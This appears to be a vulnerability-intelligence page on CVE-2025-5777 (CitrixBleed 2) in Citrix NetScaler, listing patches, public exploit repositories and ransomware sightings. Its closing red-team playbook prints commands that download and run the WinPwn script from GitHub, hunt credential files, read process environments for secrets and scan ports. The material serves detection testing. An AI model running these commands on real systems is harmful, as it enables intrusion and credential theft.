CVE-2025-5777
Overview
This vulnerability is a memory overread caused by insufficient input validation within the NetScaler ADC when configured as a Gateway or AAA virtual server. The flaw arises from improper handling of input data, leading to out-of-bounds memory access. Affected components include the VPN virtual server, ICA Proxy, CVPN, and RDP Proxy functionalities of the NetScaler ADC.
Vulnerability Description
Insufficient input validation leading to memory overread when the NetScaler is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server
Impact
An unauthenticated attacker can exploit this vulnerability remotely by sending crafted requests to the affected virtual servers, resulting in memory overread. This can lead to disclosure of sensitive memory contents, potentially exposing confidential information or internal state. The flaw may also cause service instability or crashes, disrupting availability. No user interaction or credentials are required, enabling remote attackers to leverage this flaw for information leakage or denial of service against NetScaler ADC deployments configured as Gateway or AAA servers.
Solution
Citrix has released a security advisory addressing this vulnerability in NetScaler ADC. Administrators should apply the patches provided in the advisory identified as CTX693420 available at Citrix Support. The update includes fixes for both FIPS and non-FIPS configurations of NetScaler ADC. Detailed patch instructions and version-specific fixes are documented in the advisory URL: https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420. Immediate application of these updates is recommended to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:ndcpp:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
|
|
|
Citrix | Netscaler Gateway | All |
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
|
|
|
Citrix | Netscaler Gateway | All |
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Citrix NetScaler ADC/Gateway 14.1 - Memory Disclosure | Yesith Alvarez | remote | multiple | - | View |
GitHub PoCs (29)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
win3zz/CVE-2025-5777
CVE-2025-5777 (CitrixBleed 2) - Critical memory leak vulnerability affecting Citrix NetScaler ADC and Gateway devices
|
win3zz | 50 | 14 | 2025-07-08 | View |
|
bughuntar/CVE-2025-5777
CVE-2025-5777 Citrix NetScaler Memory Leak Exploit (CitrixBleed 2)
|
bughuntar | 31 | 6 | 2025-07-10 | View |
|
mingshenhk/CitrixBleed-2-CVE-2025-5777-PoC-
详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件
|
mingshenhk | 17 | 2 | 2025-06-30 | View |
|
Chocapikk/CVE-2025-5777
CitrixBleed 2 (CVE-2025-5777)
|
Chocapikk | 7 | 0 | 2025-07-08 | View |
|
soltanali0/CVE-2025-5777-Exploit
|
soltanali0 | 5 | 1 | 2025-08-07 | View |
|
RickGeex/CVE-2025-5777-CitrixBleed
CitrixBleed-2 (CVE-2025-5777) – proof-of-concept exploit for NetScaler ADC/Gateway “memory bleed”
|
RickGeex | 1 | 4 | 2025-07-04 | View |
|
Shivshantp/CVE-2025-5777-TrendMicro-ApexCentral-RCE
PoC for CVE-2025-5777 – Auth Bypass and RCE in Trend Micro Apex Central
|
Shivshantp | 5 | 0 | 2025-07-23 | View |
|
cyberleelawat/ExploitVeer
An advanced, powerful, and easy-to-use tool designed to detect and exploit CVE-2025-5777 (CitrixBleed 2). This script no...
|
cyberleelawat | 3 | 2 | 2025-07-15 | View |
|
ndr-repo/CVE-2025-5777
Exploit for CVE-2025-5777: Citrix NetScaler Memory Disclosure (CitrixBleed 2)
|
ndr-repo | 3 | 1 | 2025-08-20 | View |
|
nocerainfosec/cve-2025-5777
Memory disclosure vulnerability in Citrix NetScaler ADC and Gateway when configured as a Gateway (VPN virtual server, IC...
|
nocerainfosec | 3 | 1 | 2025-07-05 | View |
|
orange0Mint/CitrixBleed-2-CVE-2025-5777
CitrixBleed-2 Checker & Poc automatic exploit and check token.
|
orange0Mint | 2 | 0 | 2025-07-06 | View |
|
0xgh057r3c0n/CVE-2025-5777
Citrix NetScaler Memory Leak PoC
|
0xgh057r3c0n | 0 | 2 | 2025-07-10 | View |
|
rootxsushant/Citrix-NetScaler-Memory-Leak-CVE-2025-5777
Update the old POC of CVE-2025-5777 Citrix NetScaler Memory leak
|
rootxsushant | 0 | 1 | 2025-08-11 | View |
|
mr-r3b00t/CVE-2025-5777
placeholder for CitrixBleed 2.0 CVE-2025-5777
|
mr-r3b00t | 0 | 1 | 2025-11-16 | View |
|
0xBlackash/CVE-2025-5777
CVE-2025-5777
|
0xBlackash | 0 | 1 | 2026-03-02 | View |
|
nicecopy/POC-CVE-2025-5777
|
nicecopy | 0 | 0 | 2025-07-24 | View |
|
maxprog-svg/CitrixBleedCVE-2026-8452-2025-5777
CitrixBleed Exploit Tool - CVE-2025-5777 & CVE-2026-8452. Unauthenticated remote memory read from Citrix NetScaler ADC &...
|
maxprog-svg | 0 | 0 | 2026-08-30 | View |
|
Ather-Energy/POC-CVE-2025-5777
|
Ather-Energy | 0 | 0 | 2025-07-24 | View |
|
Sheep-Hunter/CVE-2025-5777-POC
|
Sheep-Hunter | 0 | 0 | 2025-08-20 | View |
|
razureink/cve-2025-5777-citrixbleed2_reproduction
CVE Reproduction: cve-2025-5777-citrixbleed2_reproduction
|
razureink | 0 | 0 | 2026-07-23 | View |
|
sentinel-aidefense/CVE-2025-5777
CVE-2025-5777 Research writeup
|
sentinel-aidefense | 0 | 0 | 2026-07-02 | View |
|
rob0tstxt/POC-CVE-2025-5777
|
rob0tstxt | 0 | 0 | 2025-07-24 | View |
|
RaR1991/citrix_bleed_2
Citrix Bleed 2 PoC Scanner (CVE-2025-5777)
|
RaR1991 | 0 | 0 | 2025-07-06 | View |
|
rashedhasan090/CVE-2025-5777
|
rashedhasan090 | 0 | 0 | 2025-11-23 | View |
|
Anshika2709/Citrixbleed2-CVE-2025-5777
POC
|
Anshika2709 | 0 | 0 | 2025-11-22 | View |
|
FrenzisRed/CVE-2025-5777
CitrixBleed2 powershell version
|
FrenzisRed | 0 | 0 | 2025-07-09 | View |
|
SleepNotF0und/CVE-2025-5777
CVE-2025-5777 (CitrixBleed 2) - [Citrix NetScaler ADC] [Citrix Gateway]
|
SleepNotF0und | 0 | 0 | 2025-07-15 | View |
|
below0day/Honeypot-Logs-CVE-2025-5777
CitrixBleed 2 NetScaler honeypot logs
|
below0day | 0 | 0 | 2025-07-30 | View |
|
idobarel/CVE-2025-5777
CitrixBleed2 poc
|
idobarel | 0 | 0 | 2025-07-05 | View |
Ransomware Groups 6
Threat Feed
46 eventsSighting activity recorded
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Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (652 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (652 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
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Sighting activity recorded
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Ransomware group known to exploit this vulnerability (30 known victims)
Ransomware group known to exploit this vulnerability (30 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 86 sighting(s)
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-540 | Overread Buffers |
33%
|
Low | High |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.